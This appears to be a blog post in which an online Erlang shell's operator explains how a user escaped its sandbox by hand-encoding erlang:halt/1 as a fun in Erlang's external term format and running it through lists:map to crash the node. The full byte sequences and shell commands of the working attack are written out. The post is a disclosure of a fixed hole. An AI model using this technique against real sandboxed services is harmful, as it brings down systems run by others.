How they tried to fool

Preface is an interactive Erlang Shell which allows users to try the power of Erlang directly in a browser, without requiring them to install an Erlang runtime system on their machine. Even if intended for Erlang newbies, has been subjected to a countless number of attacks conducted by Erlang experts who wanted to circumvent its sandboxing mechanism and to bring down the Erlang node running the application. I must admit that going through the’s logs is being an highly interesting and constructive experience.

In this blog post I will present one of the most elaborated attacks performed on The attack, which exploits the Erlang External Term Representation, has been performed by a former Erlang Solutions’ employee who had access to the source code. To understand how the attack works, we need to introduce the Erlang External Term Representation.

External Term Representation

In Distributed Erlang, terms can be transferred from an Erlang node to another one using the so-called binary format. Generic terms are encoded in binary from the sender using the built-in function term_to_binary/1 and restored from the receiver using the complementary function binary_to_term/2. A binary message looks like this:


Which, as you can see, represents the binary encoding of the atom pigeon.

1> term_to_binary(pigeon).
2> binary_to_term(<<131,100,0,6,112,105,103,101,111,110>>).

The External Term Representation of Erlang terms is extensively documented in the official Erlang Documentation. Let’s see how the attacker used this concept in his own interest.

Halting the Erlang Node

To stop the Erlang node running, the attacker tries at first the following command:

> erlang:halt().

This function, documented here, is supposed to halt an Erlang runtime system, indicating a normal exit to the calling environment. The function has been disabled in for security reasons, so the only result the user get is the following annoying message:

"This functionality has been disabled for security reasons in".

So, the Erlang node is still up and attacker prepares himself a good cup of Swedish coffee. After a couple of minutes playing with the shell, the attcker notices that allows you to define custom funs. Then, the intuition. A fun, as any other Erlang term, can be encoded using the External Terms Representation. The encoded fun could then be executed. This could hopefully fool the sandboxing mechanism protecting the and could open a world of possibilities to the attacker.

According to the documentation, the external representation of the fun (in the fun M:F/A format) is the following:

113 | Module | Function | Arity

Where Module and Function are atoms and Arity is an integer.

Atoms themselves can be encoded using the ATOM_EXT format:

100 | Len | AtomName

Where Len is the length of AtomName, expressed using two bytes.

For the atom erlang, which is composed of 6 characters (the letters e, r, l, a, n and g) we obtain:

100 | 0, 6 | 101, 114, 108, 97, 110, 103

Where the integers in the third section are the ASCII codes for each of the letters composing the word “erlang”.

Applying the same reasoning to the atom halt, we obtain:

100 | 0, 4 | 104, 97, 108, 116

Finally, the arity (an integer) can be encoded using the SMALL_INTEGER_EXT format:

97 | Int

So, in our case (arity = 0) we obtain:

97 | 0

Putting all the pieces together and considering that, in the External Term Representation, the byte 131 needs to be prepended to the final term, we can encode the erlang:halt/0 function into binary, obtaining:


Let’s verify that we didn’t do any mistake:

> binary_to_term(<<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>).
> #Fun<erlang.halt.0>

Since doesn’t support copy-and-paste from the clipboard, we need to insert the sequence above by hand.

We can bind the binary to a new variable:

> B = <<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>.

We now need to convert the binary into an Erlang term. Originally, was allowing the binary_to_term function in safe mode. This function has been now completely disabled after this attack. If you want to try what follows you will need to do it in your own Erlang shell.

> F = binary_to_term(B, [safe]).

Let’s now try to launch the fun as:


Well, that didn’t work as expected. actually realized that the erlang:halt/0 function was going to be called and the sandboxing mechanism managed to block the execution of the command. We need to do something slightly different. For example, we might pass the newly defined fun as an argument (after all, Erlang is a functional language) to a function who would take care of executing it. As an example, we could use the library function lists:map/2. There’s only a little tiny problem with that. The list:map/2 function, in fact, requires that the fun passed as an argument receives exactly one argument. This is not the case of the erlang:halt/0 function, which has arity equal to zero. Fortunately an alternative version of erlang:halt/0 exists, taking exactly one argument. The external representation for the new function differs from the previous one by only the very last byte. Let’s forget the old value of the variable B and let’s bind it to the new binary:

> f(B).
> B = <<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,1>>.

We can now pass the new fun as an argument to the lists:map function:

> f(F).
> F = binary_to_term(B, [safe]).
>lists:map(F, [0]).

And the node dies. Well, in reality the node is almost immediately brought back by heart which is listening for heartbeats from the Erlang node itself but, hey, I have to pay a beer to this guy! :)

I wanted to share this experience with all of you. I consider it highly constructive, since it leads to reflect on several aspects of Erlang. Comments and feedback are more than welcome.